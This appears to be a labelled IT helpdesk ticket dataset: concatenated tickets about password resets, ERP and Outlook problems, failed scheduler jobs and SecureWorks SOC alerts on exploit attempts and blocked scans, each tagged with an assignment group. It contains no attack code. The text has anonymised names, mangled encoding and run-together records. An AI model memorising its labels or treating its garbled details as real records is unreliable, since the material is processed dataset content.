please help to enable access to crm system.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: distributor\_tool entry, Description: \_x000D\_
\_x000D\_
received from: brhlcpqv.sfozwkyx@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
could you help me on entering distributor\_tool company with my erp account?\_x000D\_
\_x000D\_
get outlook for ios<\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue when updating vv32, Description: \_x000D\_
\_x000D\_
received from: rhwsmefo.tvphyura@gmail.com\_x000D\_
\_x000D\_
hello. we are experiencing an issue when updating the following fields in vv32 ; partner and lang. we have to update this field multiple times before it works in erp. this is causing problems with customers receiving inwarehouse\_tools so please markhty as high priority. i had to update the record below at least 5 times before the partner and lang saved. , is assigned to Assignment group: GRP\_13.Ticket with Short description: vip 2 : pls usa access to russ hall to site referenced below, Description: vip 2 : pls usa access to russ hall to site referenced below\_x000D\_
\_x000D\_
the aero collaboration\_platform can be found at:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: account lock out and password reset instructions, Description: account lock out and password reset instructions, is assigned to Assignment group: GRP\_0.Ticket with Short description: company email accounts tzrekwqf homwadbs!, Description: dear support team,\_x000D\_
\_x000D\_
can you give me an status about my issue?\_x000D\_
i must start me work on monday at the company site in fÃ¼rth.\_x000D\_
further is my web access (office 365) not on going.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: can't open outlook, Description: can't open outlook, same problem twice this week already , is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform on phone does not sync, Description: collaboration\_platform on phone does not sync, is assigned to Assignment group: GRP\_0.Ticket with Short description: update to office, Description: update to office, is assigned to Assignment group: GRP\_0.Ticket with Short description: spam email queries, Description: spam email queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1967c failed in job\_scheduler at: 08/19/2016 11:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1967c failed in job\_scheduler at: 08/19/2016 11:21:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: '51551 vid67965 microsoft windows httpsys rce vulnerability exploit attempt (ms15-034 cve-2015-1635) , Description: dsw in33568767
incident overview
=========================
we are seeing '51551 vid67965 microsoft windows httpsys rce vulnerability exploit attempt (ms15-034 cve-2015-1635) - mapp' alerts being generated by your isensplant\_247.company.com/208.211.136.207 device indicating that one or more hosts, including 198.8.80.219, are attempting to exploit the microsoft windows http.sys remote code execution vulnerability (cve-2015-1635/ms15-034) on one or more of your internet-facing hosts, including 208.211.136.164/208.211.136.164,. successful exploitation of this vulnerability may result in a denial of service condition or remote code execution on vulnerable systems.
we are escalating this incident to you via a high severity/full escalation master ticket for all unblocked events related to this vulnerability (i.e. we are creating a singular ticket for all inbound threats related to this vulnerability). this ticket will effectively serve as a master ticket for any related events until we receive feedback from you on how to handle these events going forward.
it should be noted that blocking each source ip address may not necessarily be productive due to attackers' ability to switch ip addresses through the use of proxies, anonymizing software such as tor, and vpns. please investigate your environment to determine whether you are running a vulnerable version of the application being targeted and ensure that you are running the most recent non-vulnerable version of windows, and that your devices are patched and properly hardened against attacks.
if you would like these events handled differently, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . we have a number of options available for the handling of future alerts such as this one:
1) autoresolve any events related to attacks against the microsoft windows http.sys kernel driver directly to the portal (no explicit notification and events will be available for reporting purposes in the portal). this is most likely the best choice if you are not running the application being targeted or if you are running a non-vulnerable version of the application
2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for attacks against the microsoft windows http.sys kernel driver (this may generate a relatively large volume of incident tickets)
3) full escalation via a high priority ticket and a phone call for each unique source ip address for attacks against the microsoft windows http.sys kernel driver (this may generate a relatively large volume of incident tickets), is assigned to Assignment group: GRP\_12.Ticket with Short description: 54.96.80.216/att-singapore-asa.company.com-1 device generating at least 253 'internal outbreak for 7/udp' alerts within 10 m, Description: dsw in33572131\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 54.96.80.216/att-singapore-asa.company.com-1 device generating at least 253 'internal outbreak for 7/udp' alerts within 10 minutes, for traffic (blocked) from ewll8111148/10.44.23.17 to port 7/udp of several internal hosts. this may indicate unauthorized reconnaissance scanning, a misconfiguration, or authorized internal discovery being blocked by the firewall.\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) ticket only escalation for internal reconnaissance alerts (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve internal reconnaissance alerts to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_33.Ticket with Short description: 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' aler, Description: dsw in33574596\_x000D\_
\_x000D\_
we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from apul8812210/10.24.12.213 to port 135/tcp (remote procedure call (rpc)) of external host 211.136.113.1. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
secureworks soc, is assigned to Assignment group: GRP\_31.Ticket with Short description: 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' aler, Description: dsw in33401594\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from rqvl8516442/10.24.15.172 to port 135/tcp (remote procedure call (rpc)) of external host 198.105.254.63. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_3.Ticket with Short description: 114 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName\_25/10.16.16., Description: dsw in32075851\_x000D\_
\_x000D\_
=========================\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we have detected at least 114 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName\_25/15.69.85.2812 and destined to port 445 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized)\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to load hr\_tool etime application , Description:
recently got a new computer and ever since have not been able to load the hr\_tool etime application., is assigned to Assignment group: GRP\_0.Ticket with Short description: [hw] filesystem near capacity - h:(HostName\_894), Description: dsw in33644259\_x000D\_
\_x000D\_
related events: \_x000D\_
event id: 307315976\_x000D\_
event summary: [hw] filesystem near capacity - h:\_x000D\_
occurrence count: 1\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 18.38.85.961\_x000D\_
source hostname: HostName\_894\_x000D\_
connection directionality: internal\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 18.38.85.961\_x000D\_
device name: HostName\_894.company.company.com\_x000D\_
log time: 2016-08-18 at 18:03:40 utc\_x000D\_
vendor classification: none\_x000D\_
vendor priority: 1\_x000D\_
windows event id: 2013\_x000D\_
type: warning\_x000D\_
username: n/a\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 566425\_x000D\_
inspector rule id: 2132464\_x000D\_
inspector event id: 030920674\_x000D\_
agent id: 110620\_x000D\_
\_x000D\_
event detail:\_x000D\_
note: by default, this alert is generated when capacity reaches 90%. (\_x000D\_
aug 18 18:03:40 18.38.85.961 mswineventlog 1 system 2566671 thu aug 18 18:03:40 2016 2013 srv n/a n/a warning HostName\_894.company.company.com none the h: disk is at or near capacity. you may need to delete some files. 3776, is assigned to Assignment group: GRP\_39.Ticket with Short description: login failure, Description: \_x000D\_
\_x000D\_
received from: jashyht.usa@company.com\_x000D\_
\_x000D\_
good afternoon,\_x000D\_
i am unable to open my drive? here is a screen shot of the error: i am unaware of any password as i am able to open up all other drives. i assume it has something to do with an email i received late yesterday (see 2nd screen shot below) which i was unable to login to (see third screen shot):\_x000D\_
please advise or correct.\_x000D\_
[cid:image002.jpg@01d1fa07.159311d0]\_x000D\_
\_x000D\_
[cid:image006.jpg@01d1fa07.159311d0]\_x000D\_
\_x000D\_
\_x000D\_
[cid:image007.jpg@01d1fa07.159311d0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: connected the default printer, Description: connected the default printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1315 failed in job\_scheduler at: 08/19/2016 10:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1315 failed in job\_scheduler at: 08/19/2016 10:35:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: new prospect accounts within the crm system, Description:
the issue is...
i have created some new prospect accounts within the crm system
after 2-3days it still hasn't allocated them a erp ~
contact # :
, is assigned to Assignment group: GRP\_40.Ticket with Short description: call came and got disconnected, Description: call came and got disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: blue screen error., Description: blue screen error., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not responding due to crm error, Description: outlook not responding due to crm error, is assigned to Assignment group: GRP\_0.Ticket with Short description: account information updated, Description: from: nwfodmhc exurcwkm
sent: friday, august 19, 2016 6:16 pm
to: johthryu ko; nwfodmhc exurcwkm
subject: re: sab : fw: account information updated
hello johthryu,
this is a mail from company. you can click on the link to access it.
aorthyme rnsuipbk
global service organization (gso)
did you know?
ticketing\_tool has an extensive self-help knowledgebase with easy to use troubleshooting and how-to articles.
these have been contributed by it teams as well as by our customers, every time they open a request or an incident with it. so, go ahead and follow the rabbit (click on the image to open the knowledgebase) to explore how you can help yourself with your it issue!
we appreciate your feedback, please leave a comment on the article you visit or write to the gso.
global service organization:
| | help@company.com
-----original message-----
from: johthryu ko
sent: friday, august 19, 2016 2:25 pm
to: nwfodmhc exurcwkm
subject: sab : fw: account information updated
hi it experts,
pla see below. not sure what it is and therefore not using it.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: user locked out of erp SID\_34 erp, Description: user locked out of erp SID\_34 erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: spam or not ?, Description: your user account has been updated in ancile uperform. you can log on here: , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account lockout, Description: erp SID\_34 account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: new user id, Description: new user id, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked., Description: erp SID\_34 account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: from: shhkioaprhkuoash ms \_x000D\_
sent: friday, august 19, 2016 5:07 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: amar : fw: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access.\_x000D\_
importance: high\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
request you to configure outlook to my new iphone i received today.\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: e4 license activated. office has to be upgraded to 2016, Description: e4 license activated. office has to be upgraded to 2016, is assigned to Assignment group: GRP\_0.Ticket with Short description: audio not working, Description:
contact number . pc service tag h52gv32
summary:i'm not hearing sound from my 2:1 laptop when planning a video. i use a bluetooth earbud., is assigned to Assignment group: GRP\_0.Ticket with Short description: query regarding leaves, Description: query regarding leaves, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to scroll down ie pages, Description: unable to scroll down ie pages, is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/19/2016 09:23:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/19/2016 09:23:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: engineering tool does not open., Description: engineering tool does not open.\_x000D\_
error log attached., is assigned to Assignment group: GRP\_46.Ticket with Short description: outlook not responding , Description: outlook not responding , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update inplant\_851643, Description: ticket update inplant\_851643, is assigned to Assignment group: GRP\_0.Ticket with Short description: when opening business\_client, getting the "microsoft.net framdntyework 4.5 not installed" error., Description: see attachment, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype does not open., Description: skype does not open., is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software phone system, Description: since the new telephony\_software update i am now missing the icon on my desktop. can i have it put back on?, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for patrcja szpilewska using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: company-ap-chn-apac-2960-access-sw01 at apac - (m&c) - new plant location are down sicne 8:27 am et on 08/19/16, Description: company-ap-chn-apac-2960-access-sw01 at apac - (m&c) - new plant location are down sicne 8:27 am et on 08/19/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: telephony\_software didn't full update. an't find the log in., Description: need telephony\_software to log into phone system to take calls, is assigned to Assignment group: GRP\_3.Ticket with Short description: new password does not work after password change., Description: new password does not work after password change., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_852167, Description: ticket update on inplant\_852167, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update, Description: \_x000D\_
\_x000D\_
received from: qcxivzag.vyucbagx@gmail.com\_x000D\_
\_x000D\_
i am checking up on the status of completion for it ticket #inc1541133 - please provide an update and expected completion date?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request., Description: password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: khspqlnj npgxuzeq called for engineering tool issue, Description: khspqlnj npgxuzeq called for engineering tool issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: email spam query, Description: email spam query, is assigned to Assignment group: GRP\_0.Ticket with Short description: in erp's md04 for 6999065 it show a delivery note 9168075863., Description: calling from plant plant\_35. in erp's md04 for 6999065 it show a delivery note 9168075863. i deleted this yesterday and vl02n confirms the deletion. yet the delivery note still shows open in md04 with 76 pieces. will you please remove so the 76 pieces are return to stock., is assigned to Assignment group: GRP\_6.Ticket with Short description: password reset alert from o365, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: power surge on hub port prompts, Description: i am getting frequent notification of power surge on hub port as attached screenshot in my laptop. kindly check and let me know any action needed to be done to resolve this., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation ; company provided, Description: mobile device activation ; company provided, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp log-in update needed urgently please!, Description: \_x000D\_
\_x000D\_
received from: oslzvpgk.nhwsxgpb@gmail.com\_x000D\_
\_x000D\_
good day,\_x000D\_
\_x000D\_
please can you do a erp log-in update, so that i can get access to the erp quality management system (SID\_1)\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: emails not routing from outlook into telephony\_software, Description: i am entering this ticket to confirm that emails are not routing in from telephony\_software for the cas team in north amerirtca.\_x000D\_
there are already two tickets open for other regions with the same issue.\_x000D\_
incident inc1543124\_x000D\_
incident inc1543192\_x000D\_
\_x000D\_
there is also a ticket with i3 open so they investigate from their side. i3 ticked â€“ 846243, is assigned to Assignment group: GRP\_7.Ticket with Short description: support fÃ¼r osterwalder \niptbwdq csenjruz, Description: support fÃ¼r osterwalder \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: ess login issue : password issue., Description: ess login issue : password issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock account email in cell phone the users fernando fillipini, zspvxrfk xocyhnkf and fabio rghkiriuytes, Description: hello team,\_x000D\_
\_x000D\_
could you please unlock account email in cell phone the users:\_x000D\_
\_x000D\_
owdrqmit.nhdzcuji@gmail.com\_x000D\_
zspvxrfk.xocyhnkf@gmail.com\_x000D\_
gtdxpofz.xnksbrwl@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ref#prb1151148 - cannot connect to dynamic excel from msd crm, Description: \_x000D\_
\_x000D\_
received from: vndwmyiz.cjwqtzai@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please run the below commands (with administrator privilege) on the computer of the users impacted and whom its working well and send me the results for further analysis.\_x000D\_
\_x000D\_
gpresult /v >log.txt\_x000D\_
gpresult /h loghtml.html /f\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn is not connecting., Description: vpn is not connecting., is assigned to Assignment group: GRP\_0.Ticket with Short description: switch "company-eu-deu-germany-e-b16-gf-3550-access-sw03" at germany is down since 3:12am et 08/16., Description: switch "company-eu-deu-germany-e-b16-gf-3550-access-sw03" at germany is down since 3:12am et 08/16., is assigned to Assignment group: GRP\_8.Ticket with Short description: email, Description: \_x000D\_
\_x000D\_
received from: qdbmspxf.nqdyiclk@gmail.com\_x000D\_
\_x000D\_
is this a legitimate email?\_x000D\_
i did not want to click on it without knowing.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook email update issue, Description: outlook email update issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: spam email query, Description: spam email query, is assigned to Assignment group: GRP\_0.Ticket with Short description: userid cccplant\_119 cannot reset password. please look at the screenshot., Description: userid cccplant\_119 cannot reset password. please look at the screenshot., is assigned to Assignment group: GRP\_21.Ticket with Short description: hub, business\_client, not working suddenly, Description: \_x000D\_
\_x000D\_
received from: cowsvzel.ryhkefwv@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please find the attached screen shot, suddenly the hub, business\_client is going blank, when i close all the tab and restarts, it works again\_x000D\_
\_x000D\_
could you please fix this .\_x000D\_
\_x000D\_
[cid:image001.png@01d1fa2e.56137811]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue., Description: : cannot open the item. text formatheywting command is not available, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform not synching ., Description: collaboration\_platform not synching ., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system SID\_34\_x000D\_
\_x000D\_
production employee pevokgiu hdywstbl idrizj from switzerland, switzerland, needs a password reset\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_2.Ticket with Short description: probleme mit erpgui \tmqfjard qzhgdoua, Description: probleme mit erpgui \tmqfjard qzhgdoua, is assigned to Assignment group: GRP\_24.Ticket with Short description: alte it equipment abholen . \qvncizuf ueiybanz, Description: alte it equipment abholen . \qvncizuf ueiybanz, is assigned to Assignment group: GRP\_24.Ticket with Short description: monitor defekt \ewew8323542 \pvd1 \bur am orde, Description: monitor defekt \ewew8323542 \pvd1 \bur am orde, is assigned to Assignment group: GRP\_24.Ticket with Short description: please have a look at po. the terms and conditions page should only be printing as the last page to the order. not after, Description: please have a look at po. the terms and conditions page should only be printing as the last page to the order. not after each page., is assigned to Assignment group: GRP\_29.Ticket with Short description: HostName\_973 : : wrong number of instances of process wrapper.exe, expected instances gte 3 but found 0, Description: HostName\_973 : : wrong number of instances of process wrapper.exe, expected instances gte 3 but found 0, is assigned to Assignment group: GRP\_8.Ticket with Short description: emails from common mailbox k-uk.moe@company.com do not appear in telephony\_software workflow, Description: although there are emails in outlook mailbox, they do not appear in telephony\_software., is assigned to Assignment group: GRP\_7.Ticket with Short description: received new laptop. need outlook configuration help., Description: received new laptop. need outlook configuration help., is assigned to Assignment group: GRP\_0.Ticket with Short description: reimbursement amount: usd 293,34, Description: i need to approve a travel expense...the following expense report has been submitted for your approval:
personnel no.: 11131936 (mahtyurch t kutgynka)
expense report no.: 2711125442
start date: 21.06.2016 00:01:00
end date: 18.07.2016 00:01:00
total costs: usd 293,34
reimbursement amount: usd 293,34
to review this expense report in full, please log into your universal worklist on manager self-service.
but have no rights to view. please help., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3053 failed in job\_scheduler at: 08/19/2016 03:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3053 failed in job\_scheduler at: 08/19/2016 03:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1388 failed in job\_scheduler at: 08/19/2016 02:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1388 failed in job\_scheduler at: 08/19/2016 02:44:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: need access to HostName\_768 imts2012 folder, Description: \_x000D\_
\_x000D\_
received from: ybhazlqp.zfghsxiw@gmail.com\_x000D\_
\_x000D\_
hello it team,\_x000D\_
\_x000D\_
please usa me access to imts2012 folder on server HostName\_768.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_34.Ticket with Short description: tel. 416 prÃ¼fen, Description: tel. 416 prÃ¼fen, is assigned to Assignment group: GRP\_33.Ticket with Short description: picking request cannot print, Description: hi it-team\_x000D\_
\_x000D\_
\_x000D\_
we have problem picking request print in plant\_203.\_x000D\_
below sale order (red so#) cannot print picking request from 17th aug.\_x000D\_
other so# have same problem.\_x000D\_
\_x000D\_
csr person print picking request print manual operate.\_x000D\_
not automatic print it.\_x000D\_
\_x000D\_
please help us aerp\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: please change to the japanese., Description: hi,\_x000D\_
\_x000D\_
it is a screen of the sales order.\_x000D\_
please change to the japanese.\_x000D\_
there is also when the ship-to is displayed in japanese.\_x000D\_
domestic customers want to display in japanese.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_13.Ticket with Short description: account information updated, Description: hi,\_x000D\_
\_x000D\_
one more spam mail. please check.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: disable mail functionality of payment advice, Description:
from: gnasmtvx cwxtsvkm
sent: friday, august 19, 2016 10:40 am
to: pradyhtueep yyufs; nathyresh gayhtjula; lakhsynrhty p
cc: raghyvhdra najuty
subject: re: automatic payment through bank
ksp/ng,
we request you to please disable the mail functionality of payment advice for the time being until we find the solutions for both printing & mail functionality.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: msd crm-6500072137, Description: i can not change the qty in crm syatem, would you help me change the qty as below\_x000D\_
4977815 7pcs\_x000D\_
4977812 5pcs , is assigned to Assignment group: GRP\_15.Ticket with Short description: nigktly erp download for germany, plant\_170 is waiting for date since more than one day., Description: job hangs at step 2, this step waits for 4 files from erp in \\edksm005\EU\_tool-daten, coming in a ziped file. please check, whether the relazed erp-jobs are running properly
phone: +49
email(skype buissness external conact) iewnguxv.bufwxeiy@gmail.com, is assigned to Assignment group: GRP\_59.Ticket with Short description: credit component is not working in prod author, Description: credit component is not working in prod author. we are getting the following error in the console: \_x000D\_
\_x000D\_
(programdnty):24 uncaught referenceerror: $xiframdntye is not definedsubmitform @ (programdnty):24(anonymous function) @ (programdnty):74dispatch @ jquery.min.js:3i @ jquery.min.js:3\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_51.Ticket with Short description: laptop screen flickering , Description: hello team,\_x000D\_
\_x000D\_
my laptop monitor screen flickers more often when i start my laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: business\_client SID\_1 search\_server not working, Description: hi, i can find documents in engineering tool SID\_1. but not in business\_client SID\_1. search\_server is not working. request you to check for indexing and do the needful as we need to do some uacyltoe hxgayczeing in business\_client SID\_1., is assigned to Assignment group: GRP\_14.Ticket with Short description: job bkbackup\_tool\_reporting\_tool\_prod\_inc failed in job\_scheduler at: 08/19/2016 00:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_reporting\_tool\_prod\_inc failed in job\_scheduler at: 08/19/2016 00:18:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkbackup\_tool\_HostName\_771\_prod\_full failed in job\_scheduler at: 08/19/2016 00:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_HostName\_771\_prod\_full failed in job\_scheduler at: 08/19/2016 00:05:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: change payment terms for emea vendors - only accounting view from v169 to v301, Description: \_x000D\_
\_x000D\_
received from: blktuiae.jzakfmhw@gmail.com\_x000D\_
\_x000D\_
dear it\_x000D\_
\_x000D\_
please create a ticket to update the emea vendor master file from v169 to v301\_x000D\_
move the ticket to nahytua or another available colleague\_x000D\_
\_x000D\_
only accounting view\_x000D\_
\_x000D\_
should be done today; very urgent\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: loan switch, Description: help to install the loan switch and lan cable on newly created cubicle., is assigned to Assignment group: GRP\_19.Ticket with Short description: keybankrd/accident damage hinge cover, Description: windows key and q key is not working and also there is accidental damage on hinge., is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to download files from gpts, Description: unable to download files from gpts, is assigned to Assignment group: GRP\_0.Ticket with Short description: need uasername and password of .telephony\_software-server@company.com and .telephony\_software-server@company.com for ewseditor uacyltoe hxgaycze, Description: emails of australia team not polling into telephony\_software. so far, they have to work via outlook.\_x000D\_
i3 engineer need to do ewseditor uacyltoe hxgaycze and ask us to provide the username and password for the qlhmawgi sgwipoxn .telephony\_software-server@company.com and .telephony\_software-server@company.com ., is assigned to Assignment group: GRP\_7.Ticket with Short description: windows locked, Description:
received from: nmgesubf.wugbalmy@gmail.com
hi,
following user id (winows) is locked, pl. help.
user id : dsilvfgj,
, is assigned to Assignment group: GRP\_0.Ticket with Short description: the finance\_app application is reporting a : down status on, HostName\_1132. since 8/18/2016 5:29 pm est, Description: the finance\_app hfm server is reporting a : down status on, HostName\_1132. since 8/18/2016 5:29 pm est, is assigned to Assignment group: GRP\_12.Ticket with Short description: why the changed weight of the mm hasn't been copied to the sales order?, Description: we met the weight problem when make shipment to order 35410210, shipping plant complained the weight in d/n for some of mms still remain 11.111g( dummy weight for a new mm). but actually the weight of the mm has already be updated at mm02 to the real weight before dn created. so why system cannot carry out the new weight to the sales order? see samples mm7316889 in this s/o.\_x000D\_
the mm changes recorded said the weight was updated from 11.111g to 500g on june 21 2016, however the s/o still keep 11.111g so when plant\_185 run d/n on aug. 10 2016, the weight in d/n still shown 11.111g thus warehouse have to manual update the weight in d/n.\_x000D\_
please verify what's the problem, , is assigned to Assignment group: GRP\_13.Ticket with Short description: è½¬å‘: ç”³è¯·é€€æ¢è´§ï¼Œè´¨é‡æŠ•è¯‰ï¼Œ external complaints 7611183180 status assigned, Description:
received from: pkdavqwt.tafrmxsh@gmail.com
hello it team,
can we add receiving address, contact person & tel. number on return form?
letgyo jiftg
logistics manager
e: pkdavqwt.tafrmxsh@gmail.com<mailto:pkdavqwt.tafrmxsh@gmail.com>
å‘ä»¶äºº: johthryugftyson hu
å‘é€æ—¶é—´: 2016å¹´8æœˆ18æ—¥ 10:22
æ”¶ä»¶äºº: letgyo jiftg; east service
æŠ„é€: simfghon wanrtyg
ä¸»é¢˜: re: ç”³è¯·é€€æ¢è´§ï¼Œè´¨é‡æŠ•è¯‰ï¼Œ external complaints 7611183180 status assigned
leoï¼Œ
please check with it if it's possible to add the warehouse person for receiving return (for plant\_283: judthti zhu and her office tel#)
to the return form attached
, is assigned to Assignment group: GRP\_15.Ticket with Short description: need access to global t drive, Description: \_x000D\_
\_x000D\_
received from: uycravzn.feqlznyg@gmail.com\_x000D\_
\_x000D\_
as i have been asked to put together traiyctrhbkm plvnuxmrterial for the imts show, i will need access to the global t drive (\\HostName\_768\teams\imts2012\pre-show-product-training<file://HostName\_768/teams/imts2012/pre-show-product-training>), which i do not currently have.\_x000D\_
\_x000D\_
